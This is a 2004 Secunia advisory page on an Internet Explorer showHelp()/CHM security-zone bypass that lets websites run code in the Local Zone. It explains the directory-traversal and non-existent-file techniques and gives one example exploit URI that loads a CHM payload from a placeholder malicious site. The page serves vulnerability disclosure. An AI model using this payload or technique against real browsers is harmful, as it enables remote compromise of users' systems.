Secunia Logo  


Secunia PSI WorldMap
 
Internet Explorer showHelp() Restriction Bypass Vulnerability
Secunia Advisory: SA10523
Release Date: 2004-01-02
Last Update: 2004-04-14
Popularity: 57,755 views

Critical:
Highly critical
Impact: Security Bypass
Where: From remote
Solution Status: Vendor Patch

Software:Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.x

Secunia CVSS-2 Score: Available in Secunia business solutions

Subscribe: Instant alerts on relevant vulnerabilities


Advisory Content (Page 1 of 3)[ 1 ] [ 2 ] [ 3 ]

Description:
Variants of the older showHelp() zone bypass vulnerability have been discovered, which potentially can be exploited to compromise a user's system.

Remote and locally installed "CHM" help files can be opened by websites via either the "showHelp()" function or certain URI handlers like "ms-its:" and "mk:@MSITStore:". Remote files can execute code in context of the "Internet" security zone whereas local files may execute code with the privileges of the logged in user.

Normally, it isn't a problem that Internet Explorer allows websites to open locally installed "CHM" files as they are considered trusted.

However, there exists two problems within the handling of "CHM" files:

1) It is possible to treat other local files as "CHM" files by using a special syntax with a double ":" appended to the file name combined with a directory traversal using the "..//" character sequence.

This has been exploited via programs such as WinAmp, Flash Player, XMLHTTP, ADODB stream and others, which allow files with arbitrary content to be placed in known locations.

2) Files, which haven't been installed locally, may still execute arbitrary code in context of the "Local Zone" by referencing a non-existent file.

Example:
ms-its:mhtml:file://C:\does_not_exist.mhtml!http://[malicious_site]//malicious.chm::/evil.html"

The vulnerability can be exploited in Internet Explorer including the latest versions with all patches and service packs installed.

Change Page:
[ 1 ] [ 2 ] [ 3 ]



Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. Internet Explorer Charset Inheritance Cross-Site Scripting Vulnerability // 35 views
2. Adobe Flash Player Multiple Vulnerabilities // 33 views
3. Microsoft DirectShow Streaming Video ActiveX Control Vulnerabilities // 20 views
4. Apple Safari Two WebKit Component Vulnerabilities // 16 views
5. Adobe Reader/Acrobat Multiple Vulnerabilities // 16 views
6. Zeroboard Multiple Vulnerabilities // 15 views
7. Microsoft PowerPoint OutlineTextRefAtom Parsing Vulnerability // 14 views
8. Microsoft Word Malformed Object Pointer Vulnerability // 13 views
9. Microsoft XML Core Services Multiple Vulnerabilities // 11 views
10. Zeroboard Two Vulnerabilities // 11 views